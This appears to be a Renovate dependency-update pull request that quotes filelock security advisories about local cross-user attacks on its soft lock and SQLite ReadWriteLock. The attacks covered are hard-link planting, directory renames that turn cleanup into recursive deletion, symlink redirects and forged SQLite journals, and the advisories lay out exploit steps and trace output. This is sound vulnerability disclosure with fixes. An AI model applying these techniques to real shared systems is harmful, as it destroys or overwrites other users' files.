A local user who can write a lock directory that has no sticky bit makes a user of a soft lock in that directory create a hard link there to one of that user's own files on the same filesystem, including files inside directories the other user cannot enter. The content stays unreadable, but the other user now reads size, times, mode and owner of the file through the new name, keeps the inode alive after the lock user deletes or rotates the file, and holds what
fs.protected_hardlinksexists to deny, a name it can move around for someone else's file.Whatever the lock user later does to names in that directory lands on the file, and filelock 4.2.0 was such a consumer itself.
UnixFileLock._finalize_locked_fd()ranos.ftruncate(fd, 0)on whatever regular fileO_NOFOLLOWlet it open. The other user moved the link toother.lock, the lock user tookFileLock("other.lock"), and the 17-byte private file became 0 bytes. The other user can also move the link into sticky/tmpon the same filesystem before the lock user locks it there, and aFileLockwith a permissivemodesuch as0o666applied that mode to the private file too, after which the other user could write its content.On its own, without such a second lock, the result is the link and the metadata above. The other user has to win two short races and needs the lock user to take the lock more than once. Not affected: sticky directories on the tested settings, CPython 3.11 on Linux, releases before 4.1.0.
Workarounds
Keep soft locks out of directories other users can write without the sticky bit; a
0700directory of the lock's user, or a sticky directory, is not affected. On CPython 3.11 on Linux the swap has no effect. Do not take a nativeFileLockon a name another user controls.Patched version
4.2.1.
Fix: https://github.com/tox-dev/filelock/pull/843
Credits
Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.
ANT-2026-SB29HIAL, scanned commit b831496b0273; related earlier-public work: #786)Severity
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:NReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
filelock: ReadWriteLock on the hard-link route deletes any directory another user renames onto its .filelock-* link directory name
CVE-2026-112937 / GHSA-jqc4-5cvw-7w85
More information
Details
ReadWriteLockandAsyncReadWriteLock(the SQLite-backed reader/writer lock) remove their private.filelock-*link directories withshutil.rmtree(a recursive delete) on a remembered path. They do not check that the path still names the directory they created. This happens on the hard-link route (a hard link is a second name for the same file). That route is every connection on macOS since 4.1.1 and any POSIX process without a usable/proc/self/fd(a Linux path that names the process's own open files), such as a chroot or container that does not mount/proc.Another local user who can rename entries in the directory that holds the lock database can rename one of the directories of the user running the lock (below: the lock user) onto the link directory's name, or onto a forged dead-holder name. Such a lock directory is a
0777or group-writable cache, build or project directory without the sticky bit (a directory flag that lets only a file's owner remove or rename it). The lock user's process then deletes that tree and everything in it with the lock user's permissions, and reports no error. Stock Linux with/procmounted is not affected. Affected versions are filelock 4.1.0 through 4.2.0.Anthropic's OSS Scanner reported this in private as
ANT-2026-LSSZIUEO[high, CWE-367]: ReadWriteLock deletes any directory another user renames to .filelock-*.Severity
CVSS 3.1
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:Lscores 6.1 (Medium).AV:L(local): the other user needs an account on the same host.PR:L(low privileges): an ordinary account is enough.UI:N(no user interaction).AC:L(low attack complexity): tworenamecalls and no race against filelock's own code.I:H(high integrity impact): the other user destroys a directory tree owned by the lock user, and the lock user's program reports no error.A:L(partial availability loss): the Python 3.11RecursionErrorvariant makes the lock user's first lock construction fail.C:N(no confidentiality impact): the other user learns nothing.S:U(scope unchanged): the effect stays within the lock user's own privileges.Classification from the external review: conditional security, a cross-user rename in a non-sticky shared parent that turns private-link cleanup into recursive deletion of the lock user's tree. The scanner rated it high. The review accepts the mechanism, notes that the macOS route rests on a Linux run with
/prochidden rather than on a run on macOS, and narrows the finding to that precondition and route.Scope and preconditions
0777directory, or a group-writable one (in a setgid2775directory a group member can rename the lock user's sub-directory the same way). Renaming an entry needs write permission on the parent only, not on the entry. Anyone who can write the parent can rename a0700directory of the lock user./tmpitself, any1777directory) stop the release variant: the rename of an entry owned by the lock user fails withEPERM. The dead-owner sweep still reaches a lock user's tree that sits inside a directory the other account owns there. That account may rename its own directory to a forged dead-owner name, and the lock user's sweep deletes everything inside it. The Python 3.11RecursionErrorvariant also works in a sticky directory.ReadWriteLockorAsyncReadWriteLockon macOS (since 4.1.1, #820), or a POSIX process whose/proc/self/fd/<n>(/dev/fd/<n>elsewhere) does not exist, such as a chroot or container without/proc. Linux with/procmounted connects through the descriptor and creates no.filelock-*directory (checked: none appears, also with two holders in one process), so stock Linux is not affected at 4.2.0. The macOS statement rests on thedescriptor_usablebranch at line 984 anddocs/how-to.rst. The reproducer runs the same Python code on Linux with/prochidden, which takes root and is test scaffolding, not a step the other user performs. Windows does not take this route.0700directory of the lock user in from another parent. A tree the other account can already write (a group-writable project tree created with umask002) is no gain, since that account can delete it without filelock. A lock user running as root deletes a tree of any owner.Affected code
At the scanned commit
b831496b0273:_ForkSafeConnection.closerunsshutil.rmtreeon the rememberedmkdtemppath. The path comes fromretain_until_close, set on the link route in_connect_through_descriptor, wheredescriptor_usableisFalseon macOS. Three morermtreesites sit in_link_beside(lines 1023 and 1026) and the connect'sfinally(line 1011). The fifth is in_sweep_links_of_the_dead, with the name parser_owner_is_goneand_link_prefix.Introduced
The link directory moved beside the database in
015d27c("fix(read-write): reject WAL databases and link beside the db (#805)"), and the dead-owner sweep came withdf06bbd(#815). Both were first released in 4.1.0 (verified:git tag --containsgives 4.1.0 for both; 4.0.11 and 4.0.12 made the link inTMPDIR). macOS takes the link route for every connection since5fd0c8f(#820), first released in 4.1.1 (verified).Mechanism
When the lock connects through its private hard link, it disposes of
.filelock-*directories withshutil.rmtreeon a path. Nothing ties that path to the directory filelock created.mkdtempmakes the name unpredictable and the directory0700. The name is in the parent's listing as soon as it exists (ls -a), and renaming it needs write permission on the parent only.0700keeps the other user out of the directory; it does not stop a rename of the directory. There are two ways in, with the same preconditions.On release. A connection lives for one acquisition:
_open_for_acquisitionopens it andrelease()reachesclosethrough_releaseand_finish_connection. The code trusts the path from the acquire to the release, for as long as the application keeps the lock. While the lock user holdswrite_lock()on/tmp/shared-cache/cache.db, the directory lists.filelock-<pid>--<host digest>-<random>/(0700, owned by the lock user, containinglock.db). The other user runs two renames: that directory tomoved-aside, thenvictim_project(a0700directory of the lock user withnotes.txtinside) onto the link directory's name. When the lock user leaves thewithblock,rmtreedeletesvictim_projectand everything in it with the lock user's permissions, and the process exits with status 0.moved-aside/lock.db, the real link, stays behind as an extra hard link to the database. The constructor's validation connection (ReadWriteLock.__init__opens and closes one, creating and removing a link directory) and the three error-path removals trust the path the same way, with windows a few system calls long.In the dead-owner sweep.
_link_besidecalls_sweep_links_of_the_dead(parent)once per process and parent directory beforemkdtemp. The first connect of every process on the link route runs it, the validation connection included. It runsrmtreeon every.filelock-*directory whose name parses as a dead owner's. It checks neither the directory's owner, nor its mode, nor whether it holds onlylock.db._owner_is_gonesplits the name after.filelock-intopid,start,digest(a hash of the host name) and a suffix. It returnsdigest == _host_digest(host) and owner_is_stale(pid, host, start or None).The other user can forge every field. Take
.filelock-2147483647--<digest>-x.pidis the largest value the #821 range check accepts and above the PID limit of Linux and macOS, soprocess_alivegetsESRCHfromos.kill(pid, 0); the PID of any exited process, such as a child the other user just reaped, passes as well.startis empty, which the parser accepts because_link_prefixwrites an empty field when it has no start token; with no token and a dead PIDowner_is_stalereturnsTrue.digestissha256(host_name())[:16].host_name()adds a PID-namespace tag only when/proc/self/ns/pidis readable, which it is not on macOS or without/proc, so any local user can compute the digest, and it is in the name of every link directory the lock user creates. The parser does not look at the suffix.One
rename("victim_project", ".filelock-2147483647--<digest>-x")at any time, with no lock held, gets the tree deleted the next time any lock user process on the link route constructs a lock in that directory (a cron job, a CI step, a service restart). #821 made the parser reject non-ASCII digits and out-of-range PIDs; a well-formed name for a PID that is not running still selects the directory for removal.The sweep's
rmtreehas a smaller effect that needs no lock user tree and works in a sticky directory, on Python 3.11, whereshutil.rmtreerecurses once per directory level. The other user creates a directory of their own under a forged dead-owner name in a1777directory, with 1500 nested subdirectories inside. The firstReadWriteLock(...)a lock user process on the link route constructs there raisesRecursionError, which thesuppress(OSError)at line 1050 does not catch. A second attempt in the same process skips the sweep and succeeds. Python 3.14 walks the same tree without an error.Reproduction
The scanner's reproducer for
ANT-2026-LSSZIUEO, quoted as received. It ran against commitb831496b0273.reprorepro.d/attacker_swap_link_dir.pyrepro.d/victim_hold_write_lock.pyAttack sequence
Evidence
The scanner's reproducer needs no race. It enters a private mount namespace and mounts an empty tmpfs over
/procfor itself and its children (the only non-default condition, standing in for macOS). It creates/tmp/shared-cache(0777, no sticky bit) withvictim_project/notes.txt(0700, owned byvictim), shows thatrm -rfon that tree asattackerfails withPermission denied, runs thevictimprogram (ReadWriteLock("/tmp/shared-cache/cache.db")+with lock.write_lock():) and theattackerrenames, then lets thevictimprogram release. Expected output on the scanned commit:The scanner showed the sweep variant by hand with the same setup and no lock held. As
attacker, one rename ofvictim_projectto.filelock-2147483647--<digest>-xwith<digest> = hashlib.sha256(socket.gethostname().encode()).hexdigest()[:16], thenReadWriteLock("/tmp/shared-cache/cache.db")asvictimwith/prochidden.notes.txtis gone after the constructor returns and the directory contains onlycache.db.Our verification:
BUGonb831496and on the 4.2.0 image (e2e7d70). On the PR #834 head:OK; the listing after the release is['.filelock-12--4fd1986a778d5977-amfxfd9k', 'cache.db', 'moved-aside'],notes.txt exists: True, and thevictimprogram exits 0. Neither the scanner nor the review executed on macOS; the macOS claim rests on thedescriptor_usablebranch and the identical code after it.Impact
The other user chooses any directory that sits in the shared parent, and the lock user's process deletes it and everything in it with the lock user's permissions and no error; the lock user's program reports success. Without filelock that user can rename such a directory but cannot remove a non-empty one whose contents they have no permission on. With filelock the lock user's process destroys the contents. The release variant needs two
renamecalls at any point while the lock user holds the lock and wins no race against filelock's own code. The sweep variant needs one rename and no held lock, and fires on the next lock construction by any lock user process in that directory. The real link directory stays under its new name with an extra hard link to the database.It is not reachable on stock Linux with
/procmounted at 4.2.0. The release variant is not reachable in a sticky directory. This is the same position as in GHSA-j8f7-rjxc-mr56 (a user who can change names in a shared lock directory). Here the name is the derived.filelock-*directory rather than the database, and the redirected operation is a recursive delete.Workarounds
/proc/self/fdis unavailable, keep theReadWriteLockdatabase in a directory that only the locking account (or root) can write, with no group or other write bit. Make sure every ancestor belongs to that account or root and is either not writable by others or sticky. Do not share oneReadWriteLockdatabase between accounts through a0777or group-writable directory./procmounted, 4.2.0 does not take the link route and needs no workaround for this finding.Patched version
4.2.1.
Fix: https://github.com/tox-dev/filelock/pull/834
Credits
Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.
filelock-20261015-005of commitb831496b0273)Severity
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:LReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
filelock ReadWriteLock: SQLite reopens the lock database by name, so a planted symlink or journal file makes the lock user's process overwrite or unlink its own files
CVE-2026-112940 / GHSA-v4x8-3wr5-3wq8
More information
Details
ReadWriteLockandAsyncReadWriteLock(the SQLite-backed reader/writer lock) hand SQLite a name they do not control. On Linux the lock validates its database through a descriptor (the number the kernel gives a process for an open file). It then connects SQLite to/proc/self/fd/<n>, a Linux path that names the process's own open filen. SQLite turns that path back into a plain path and reopens it by name, following symlinks (a symlink is a file that points at another path). On every POSIX route SQLite also acts on-journal,-waland-shmfiles it finds beside that name. Those are SQLite's side files: the rollback journal (pages saved to undo an interrupted write), the write-ahead log or WAL (changes kept outside the main file), and the shared-memory index for the WAL.Another local user who can create or rename entries in the directory that holds the lock database can turn this against the user running the lock (below: the lock user). Such a directory is a
0777or group-writable cache, build or project directory without the sticky bit (a directory flag that lets only a file's owner remove or rename it). That other user can make the lock user's ordinaryread_lock()orwrite_lock()write bytes of the other user's choosing into the lock user's own files. The same position lets the other user make that call create or unlink files of the lock user, admit a reader beside a writer, or kill the holder. All of this runs with the lock user's privileges. In a sticky directory such as/tmpa planted-walfile makes every acquire fail. Affected versions are filelock 3.20.4 through 4.2.0 (the/proc/self/fdredirect since 4.0.9, the side-file variants since 3.20.4).Anthropic's OSS Scanner reported this in private as
ANT-2026-KMJ2575J[high, CWE-363]: ReadWriteLock: SQLite still follows planted symlinks, overwriting files.Severity
CVSS 3.1
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:Hscores 7.1 (High).AV:L(local): the other user needs an account on the same host.PR:L(low privileges): an ordinary account is enough.UI:N(no user interaction).AC:L(low attack complexity): the planted-journal variant needs no race, and the redirect won 77 of 77 attempts.I:H(high integrity impact): the other user writes bytes of their choosing into files of the lock user and unlinks files of their choosing.A:H(high availability impact): the other user makes every acquire fail or kills the lock holder.C:N(no confidentiality impact): the other user learns nothing.S:U(scope unchanged): the effect stays within the lock user's own privileges.Classification from the external review: conditional security, a cross-user effect that exists only when another user can change names in the lock database's directory. The review notes that the 77/77 inotify result (inotify is a Linux interface that reports file events) is stronger evidence than a theoretical TOCTOU (a time-of-check to time-of-use race). The scanner rated it high. The review accepts the mechanism and narrows it to that precondition.
Scope and preconditions
0777directory or a group-writable one (including a setgid2775project directory shared with that account), in each case without the sticky bit. The lock user's lock must be able to open the database read-write, so a database the other user creates is0666. filelock itself creates the database0600./tmp,/var/tmp, any1777directory) narrow the finding rather than exclude it. The redirect and the journal replay do not reach a database the lock user owns there (tested withfs.protected_regular=2). What remains is a planted non-empty<db>-wal(any mode; a directory or FIFO works too) that the lock user cannot unlink. It makes every acquire raisesqlite3.OperationalError: disk I/O error. A hard link (a second name for the same file) to a file of the lock user at the lock path also remains, iffs.protected_hardlinks=0.fs.protected_regular(1 or 2 is the systemd default on most distributions; the kernel's own default is 0) keeps a user from opening a file another user owns in a sticky world-writable directory. Where it is 0, the other user can own the database in/tmp, and SQLite follows a planted symlink itself (not tested).fs.protected_hardlinks=1(most distributions; kernel default 0) blocks a hard link of a lock user's file onto the lock path. Neither setting affects a non-sticky shared directory./proc/self/fdredirect is Linux with/procmounted, 4.0.9 and later. The side-file variants (-journal,-wal,-shm) exist on every POSIX route. On the hard-link route (macOS since 4.1.1 for every connection, Linux without/proc) they need the link-directory swap described under "Mechanism", so a non-sticky parent. Neither the scanner nor the review executed on macOS; the statement rests on the platform branch and the identical code after it. Windows does not take this path.Affected code
At the scanned commit
b831496b0273:_connect_through_descriptorbuilds/proc/self/fd/<n>and hands it tosqlite3.connect. The assumption is the comment at line 63, "Descriptor paths reopen the validated inode" (an inode is the kernel's identity for a file, independent of its name). SQLite first reads the file it opened atPRAGMA journal_mode=MEMORY, line 816. The check in_raise_if_database_replacedat line 836 runs only afterBEGIN. Both_open_lock_databaseand_raise_if_walinspect the descriptor, not the file SQLite is on. The one-level hard link of the macOS route is_link_beside.Introduced
The
/proc/self/fdredirect came with4d45e83("Merge commit from fork", the fix for GHSA-j8f7-rjxc-mr56), first released in 4.0.9 (verified:git tag --contains 4d45e83gives 4.0.9); 4.0.8 does not have it. The side-file variants are older. They reproduce oncfd4446("feat(lock): add SQLite-based ReadWriteLock (#399)"), first released in 3.20.4 (verified), which passed the lock path straight tosqlite3.connect.Mechanism
On Linux the lock opens the database with
O_RDWR|O_CREAT|O_NOFOLLOW|O_NONBLOCK. It checks through the descriptor that the file is a regular file and not a WAL database. It then callssqlite3.connect("/proc/self/fd/<n>")and expects SQLite to reopen the validated inode. SQLite does not open that name. It runsreadlink()on it, which yields the path string the kernel reports for the descriptor at that moment, and opens that string by path, following every symlink. Without interference the trace showsreadlink("/proc/534/fd/3") = "/tmp/benign/app.lock.db"and then a secondopenatof that path. The descriptor contributes only a string. Once the directory entry behind the descriptor is gone, the string is<database> (deleted). A symlink with that exact name sends SQLite wherever its creator chose.The other user prepares the directory before the lock user runs. They create a database
cache.lock.db(0666, so the lock user's lock accepts it) with a second hard linkcache.lock.db.keep, and the symlinkcache.lock.db (deleted) -> /tmp/victim-notes.txt. The lock user'sos.openraises an inotifyIN_OPENevent. The other user unlinkscache.lock.dband linkscache.lock.db.keepback under the same name. The lock user's descriptor still refers to the unlinked entry, so/proc/self/fd/3now reads/tmp/shared-cache/cache.lock.db (deleted).sqlite3.connectresolves it, follows the symlink and opens the targetO_RDWR|O_CREAT. None of filelock's checks look at that file._open_lock_databaseand_raise_if_walinspect descriptor 3._raise_if_database_replacedcompares anlstatof the lock path with the descriptor's(st_dev, st_ino), which passes because the other user linked the same inode back, and it runs only afterBEGIN.The damage comes from the first statement,
PRAGMA journal_mode=MEMORY. SQLite finds<target>-journal, treats it as the rollback journal of an interrupted transaction, and copies its page records into the target before it checks whether the target is a database at all. The journal header supplies the page size and the page count SQLite resizes the file to. Whoever wrote the journal computed the per-page checksum. The content from offset 0 and the final length are therefore the other user's. Strace of the lock user's process (SQLite 3.40.1):The redirect itself needs no journal. The constructor's validation connection already makes SQLite open the target with
O_CREAT. With the symlink pointing at a missing path in the lock user's home, constructing the lock created that file (empty,0644, owned by the lock user) and raised nothing. With the symlink pointing at a0600WAL-mode SQLite database of the lock user,write_lock()returned without error and the database's header bytes 18 and 19 changed from2 2to1 1. The pragma converted the lock user's database out of WAL mode, and the redirected acquire held its SQLite lock on that database rather than on the lock database.Side-file names beside the database. Two comments record the belief that SQLite names its side files after the descriptor path (line 63, line 1095). The path is not synthetic to SQLite. It derives
<database>-journal,<database>-waland<database>-shmfrom the resolved real path in the shared directory.journal_mode=MEMORYgoverns only journals SQLite would write, not ones it finds. These variants need no redirect.A hot
-journalmakes the lock user unlink a file the journal names; no race. The other user unlinks the lock user's emptylock.db, puts a one-page SQLite database (0666) in its place, and writes a 46-bytelock.db-journal: a path, its 4-byte length, the 4-byte sum of its bytes and SQLite's journal magic. SQLite treats a journal beside a non-empty database as hot (left by an interrupted transaction). The tail names a "super-journal", and recovery ends by unlinking that file. The lock user's nextread_lock()orwrite_lock()returns without error and the named file is gone (unlink("/home/victim/private/notes.txt") = 0, from a0700directory of the lock user). The named file must be a non-empty regular file the lock user can read and unlink. A FIFO planted aslock.db-journalinstead blocksread_lock(timeout=2)in SQLite'sopen()of the journal (still blocked when killed after 10 s).A re-planted
-walputs the holder in WAL mode past_raise_if_wal._raise_if_walchecks header bytes 18 and 19. Whenever a connection takes its first lock, SQLite stats<db>-wal, and if that file and the database are both non-empty it opens the WAL whatever the header says. The pragma at line 816 converts such a database and unlinks-waland-shm. TheBEGINat line 833 is a separate statement that starts unlocked and stats<db>-walagain. Re-creating the 32-byte-walin that gap landed on the first attempt in 20 of 20 runs on a 2-CPU machine.The lock user's
with lock.write_lock():then holds the-shmbyte-120 WAL write lock and only SHARED on the database. Once the other user removes the-wal, a second process of the lock user getsread_lock(timeout=1)granted while the writer is inside its block, with no exception on either side. SQLite also creates<db>-shmwith the database's permission bits (0666) and keeps it mapped into memory. After the other user truncates it, the writer dies withSIGBUS(the signal for touching a mapped file region that no longer exists) inconnection.rollback()duringrelease().A
-walin a sticky directory makes every acquire raise; no race, no access to the database. Beside the lock user's own empty0600database, a non-empty<db>-wal(one byte, any mode; a directory or FIFO works too) is a leftover SQLite tries to delete. In a1777directory the lock user cannot unlink another user's file (unlink(...) = -1 EPERM), so the pragma fails withSQLITE_IOERR_DELETE. The code in_do_acquire_innertranslates only "database is locked" intoTimeout.sqlite3.OperationalError: disk I/O errortherefore leaves everyacquire_read()/acquire_write()(and the async variants) within milliseconds, whatevertimeoutorblockingsays, until the file's owner or root removes it.Further effects observed at this commit in a non-sticky directory. A
0755script owned by the lock user, renamed to the lock path with a one-record journal beside it, ends up holding the other user's bytes (the acquire raisesfile is not a database). A hard link to the lock user's0600~/.profileat the lock path does the same in a sticky/tmpwhenfs.protected_hardlinks=0. When the locking process runs as root, SQLite runsfchownon a-walor-shmit opens to match the owner of the database, so root's0600service.envrenamed toapp.lock.db-walbelonged to the other user after root'sread_lock().A journal whose super-journal names the database itself makes SQLite open and close a second descriptor on the database, which drops the process's POSIX locks, so
acquire_readreturns with no lock held in/proc/locksand a writer in another process acquires (two journals in a row, one per statement; write locks are not affected). A one-bytelock.db-walplus alock.db-shmon which the other user holds two byte locks makes the acquire take 10 s regardless oftimeoutand raiselocking protocol, or die withSIGBUSif the other user truncates the-shm.The hard-link route in a directory without the sticky bit. None of the above occurs on the
_link_besidebranch (macOS, Linux without/proc). There SQLite's main file is.filelock-…/lock.dbin the connecting user's0700directory. That protection holds only where no other user can rename the.filelock-*entry itself, because0700protects the contents, not the entry in the parent._link_besidechecks the link once and returns a pathname, and every later use is by that name.With
/prochidden in a0777directory, the other user staged a directory holding a hard linklock.dbto a one-page database and a hotlock.db-journal. They heldBEGIN EXCLUSIVEon the database so the lock user's first statement waited in the busy handler (SQLite's retry loop for a locked database), renamed the lock user's.filelock-*directory aside, renamed the staged directory onto its name and rolled back. SQLite got SHARED, found the journal under the swapped name and unlinked the file it named. The lock user's process reported the lock held and exited 0. A polling variant without the write lock also won (in 40 trials the file was gone after 1 to 26 starts of the lock user's program). Under the sticky bit the rename fails withEPERM.Reproduction
The scanner's reproducer for
ANT-2026-KMJ2575J, quoted as received. It ran against commitb831496b0273.reprorepro.d/plant_hot_journal.pyrepro.d/redirect_lock_db.pyrepro.d/victim_app.pyAttack sequence
The redirect, with
Athe other local user:The side-file variants, which need no redirect:
Evidence
The scanner's reproducer runs the documented
ReadWriteLock(path)+with rw.read_lock(timeout=5):as uservictimagainst/tmp/shared-cache/cache.lock.db(directory0777, not sticky) while userattackerholds the symlink and reacts to inotify. It first shows thatattackercannot write the target (PermissionError: [Errno 13] Permission denied: '/tmp/victim-notes.txt'). On the firstvictimrun it printsvictim run 1: exit status 1: sqlite3.OperationalError: disk I/O error,target owner, mode, size: 1000 0o600 4096, target beforeb'original victim notes\n', afterb"ATTACKER CONTENT WRITTEN BY THE VICTIM'S ReadWriteLock\n\x00...", verdictBUG. Reacting to inotify redirected the first acquire in 77 of 77 runs. A plain unlink/link busy loop with no inotify also won on the first run. A process holding twoReadWriteLockinstances on one database keeps an idle descriptor; a swap done a full second before the second acquire redirected it. The-walre-plant landed on the first attempt in 20 of 20 runs. The journal-unlink variant needs no race.Our verification: the reproducer prints
BUGon the scanned commitb831496and on the 4.2.0 image (e2e7d70). On the PR #834 head it printsOK: all 20victimruns exit 0 with no error and the target stays1000 0o600 22bytes with its original content. The independent review also ran the sticky-directory-walvariant (a0600database owned byvictimin a1777directory, other user plants<db>-wal). 4.2.0 raisesOperationalError: disk I/O error; the PR head takes read and write locks with the file still present.Impact
Another local user who can write the non-sticky directory holding the database makes the lock user's process act on a file other than the lock database, with the lock user's privileges, on Linux. The process writes bytes of the other user's choosing from offset 0 into any non-empty regular file the lock user can write, resized to a whole number of pages, provided the other user can create
<file>-journalbeside it (the lock user's own0600files in/tmpqualify). Without a journal the process creates an empty file at any path it may create, or converts a WAL-mode SQLite database of its own to rollback mode with no error. A journal beside a swapped-in database makes the process unlink one regular file of the other user's choosing per journal; the acquire succeeds and raises nothing. A process insidewrite_lock()stops excluding the lock user's other processes fromread_lock(), and the holder can die from aSIGBUSthat arrives inrelease().It is not reachable for a database the lock user owns in
/tmpwithfs.protected_regular1 or 2. There only the planted-waldenial of service remains: every acquire raises an undocumentedsqlite3.OperationalErrorthatTimeoutandOSErrorhandlers do not catch. It is a bypass of the fix for GHSA-j8f7-rjxc-mr56 (4.0.9), which refused the symlink at the database path but followed it at<database> (deleted). Windows does not take this path.Workarounds
ReadWriteLockdatabase in a directory that only the locking account (or root) can write, with no group or other write bit. Make sure every ancestor belongs to that account or root and is either not writable by others or sticky. Do not share oneReadWriteLockdatabase between accounts through a0777or group-writable directory. The lock creates its database0600, and leaving it that way keeps other accounts from supplying its content.fs.protected_regularat 1 or 2 andfs.protected_hardlinks=1(distribution defaults). Treat a suddensqlite3.OperationalError: disk I/O erroron every acquire as a foreign<db>-walbeside the database that the file's owner or root has to remove.Patched version
4.2.1.
Fix: https://github.com/tox-dev/filelock/pull/834
Credits
Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.
filelock-20261015-005of commitb831496b0273)Severity
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
Configuration
📅 Schedule: (in timezone Europe/London)
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
This PR has been generated by Mend Renovate.